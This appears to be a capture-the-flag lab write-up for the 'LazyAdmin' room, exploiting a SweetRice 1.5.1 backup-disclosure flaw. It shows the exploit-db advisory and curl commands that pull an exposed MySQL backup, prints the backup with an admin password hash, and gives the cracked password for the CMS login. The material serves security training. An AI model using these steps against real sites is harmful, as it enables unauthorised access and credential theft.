InfoSec LAB

LazyAdmin_Backup_Disclosure

Created: 4 min read

Backup Disclosure

┌──(kali㉿kali)-[~/archive/thm/lazyadmin]
└─$ searchsploit -x php/webapps/40718.txt
  Exploit: SweetRice 1.5.1 - Backup Disclosure
      URL: https://www.exploit-db.com/exploits/40718
     Path: /usr/share/exploitdb/exploits/php/webapps/40718.txt
    Codes: N/A
 Verified: True
File Type: ASCII text
 
Title: SweetRice 1.5.1 - Backup Disclosure
Application: SweetRice
Versions Affected: 1.5.1
Vendor URL: http://www.basic-cms.org/
Software URL: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
Discovered by: Ashiyane Digital Security Team
Tested on: Windows 10
Bugs: Backup Disclosure
Date: 16-Sept-2016
 
 
Proof of Concept :
 
You can access to all mysql backup and download them from this directory.
http://localhost/inc/mysql_backup
 
and can access to website files backup from:
http://localhost/SweetRice-transfer.zip

I will try this out

┌──(kali㉿kali)-[~/archive/thm/lazyadmin]
└─$ curl -s http://$IP/content/inc/mysql_backup/ | html2text
****** Index of /content/inc/mysql_backup ******
[[ICO]]       Name                        Last modified    Size Description
===========================================================================
[[PARENTDIR]] Parent Directory                                -  
[[   ]]       mysql_bakup_20191129023059- 2019-11-29 12:30 4.7K  
              1.5.1.sql
===========================================================================
     Apache/2.4.18 (Ubuntu) Server at 10.10.187.138 Port 80

Indeed, there is a database backup file; mysql_bakup_20191129023059-1.5.1.sql

┌──(kali㉿kali)-[~/archive/thm/lazyadmin]
└─$ curl -s http://$IP/content/inc/mysql_backup/mysql_bakup_20191129023059-1.5.1.sql -o ./mysql_bakup_20191129023059-1.5.1.sql

Downloading the backup file to Kali

Database Backup file
┌──(kali㉿kali)-[~/archive/thm/lazyadmin]
└─$ cat mysql_bakup_20191129023059-1.5.1.sql                                                                                  
<?php return array (
  0 => 'DROP TABLE IF EXISTS `%--%_attachment`;',
  1 => 'CREATE TABLE `%--%_attachment` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `post_id` int(10) NOT NULL,
  `file_name` varchar(255) NOT NULL,
  `date` int(10) NOT NULL,
  `downloads` int(10) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  2 => 'DROP TABLE IF EXISTS `%--%_category`;',
  3 => 'CREATE TABLE `%--%_category` (
  `id` int(4) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `link` varchar(128) NOT NULL,
  `title` text NOT NULL,
  `description` varchar(255) NOT NULL,
  `keyword` varchar(255) NOT NULL,
  `sort_word` text NOT NULL,
  `parent_id` int(10) NOT NULL DEFAULT \'0\',
  `template` varchar(60) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `link` (`link`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  4 => 'DROP TABLE IF EXISTS `%--%_comment`;',
  5 => 'CREATE TABLE `%--%_comment` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(60) NOT NULL DEFAULT \'\',
  `email` varchar(255) NOT NULL DEFAULT \'\',
  `website` varchar(255) NOT NULL,
  `info` text NOT NULL,
  `post_id` int(10) NOT NULL DEFAULT \'0\',
  `post_name` varchar(255) NOT NULL,
  `post_cat` varchar(128) NOT NULL,
  `post_slug` varchar(128) NOT NULL,
  `date` int(10) NOT NULL DEFAULT \'0\',
  `ip` varchar(39) NOT NULL DEFAULT \'\',
  `reply_date` int(10) NOT NULL DEFAULT \'0\',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  6 => 'DROP TABLE IF EXISTS `%--%_item_data`;',
  7 => 'CREATE TABLE `%--%_item_data` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `item_id` int(10) NOT NULL,
  `item_type` varchar(255) NOT NULL,
  `data_type` varchar(20) NOT NULL,
  `name` varchar(255) NOT NULL,
  `value` text NOT NULL,
  PRIMARY KEY (`id`),
  KEY `item_id` (`item_id`),
  KEY `item_type` (`item_type`),
  KEY `name` (`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  8 => 'DROP TABLE IF EXISTS `%--%_item_plugin`;',
  9 => 'CREATE TABLE `%--%_item_plugin` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `item_id` int(10) NOT NULL,
  `item_type` varchar(255) NOT NULL,
  `plugin` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  10 => 'DROP TABLE IF EXISTS `%--%_links`;',
  11 => 'CREATE TABLE `%--%_links` (
  `lid` int(10) NOT NULL AUTO_INCREMENT,
  `request` text NOT NULL,
  `url` text NOT NULL,
  `plugin` varchar(255) NOT NULL,
  PRIMARY KEY (`lid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  12 => 'DROP TABLE IF EXISTS `%--%_options`;',
  13 => 'CREATE TABLE `%--%_options` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `content` mediumtext NOT NULL,
  `date` int(10) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;',
  14 => 'INSERT INTO `%--%_options` VALUES(\'1\',\'global_setting\',\'a:17:{s:4:\\"name\\";s:25:\\"Lazy Admin&#039;s Website\\";s:6:\\"author\\";s:10:\\"Lazy Admin\\";s:5:\\"title\\";s:0:\\"\\";s:8:\\"keywords\\";s:8:\\"Keywords\\";s:11:\\"description\\";s:11:\\"Description\\";s:5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\"close\\";i:1;s:9:\\"close_tip\\";s:454:\\"<p>Welcome to SweetRice - Thank your for install SweetRice as your website management system.</p><h1>This site is building now , please come late.</h1><p>If you are the webmaster,please go to Dashboard -> General -> Website setting </p><p>and uncheck the checkbox \\"Site close\\" to open your website.</p><p>More help at <a href=\\"http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/\\">Tip for Basic CMS SweetRice installed</a></p>\\";s:5:\\"cache\\";i:0;s:13:\\"cache_expired\\";i:0;s:10:\\"user_track\\";i:0;s:11:\\"url_rewrite\\";i:0;s:4:\\"logo\\";s:0:\\"\\";s:5:\\"theme\\";s:0:\\"\\";s:4:\\"lang\\";s:9:\\"en-us.php\\";s:11:\\"admin_email\\";N;}\',\'1575023409\');',
  15 => 'INSERT INTO `%--%_options` VALUES(\'2\',\'categories\',\'\',\'1575023409\');',
  16 => 'INSERT INTO `%--%_options` VALUES(\'3\',\'links\',\'\',\'1575023409\');',
  17 => 'DROP TABLE IF EXISTS `%--%_posts`;',
  18 => 'CREATE TABLE `%--%_posts` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `title` varchar(255) NOT NULL,
  `body` longtext NOT NULL,
  `keyword` varchar(255) NOT NULL DEFAULT \'\',
  `tags` text NOT NULL,
  `description` varchar(255) NOT NULL DEFAULT \'\',
  `sys_name` varchar(128) NOT NULL,
  `date` int(10) NOT NULL DEFAULT \'0\',
  `category` int(10) NOT NULL DEFAULT \'0\',
  `in_blog` tinyint(1) NOT NULL,
  `views` int(10) NOT NULL,
  `allow_comment` tinyint(1) NOT NULL DEFAULT \'1\',
  `template` varchar(60) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `sys_name` (`sys_name`),
  KEY `date` (`date`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
);?>

It contains a credential hash, 42f749ade7f9e195bf475f37a44cafcb, for either admin or manager users

Password Cracking

The cracked password is Password123 This credential can be used to authenticate to the login page at /content/as

Interactive Graph View

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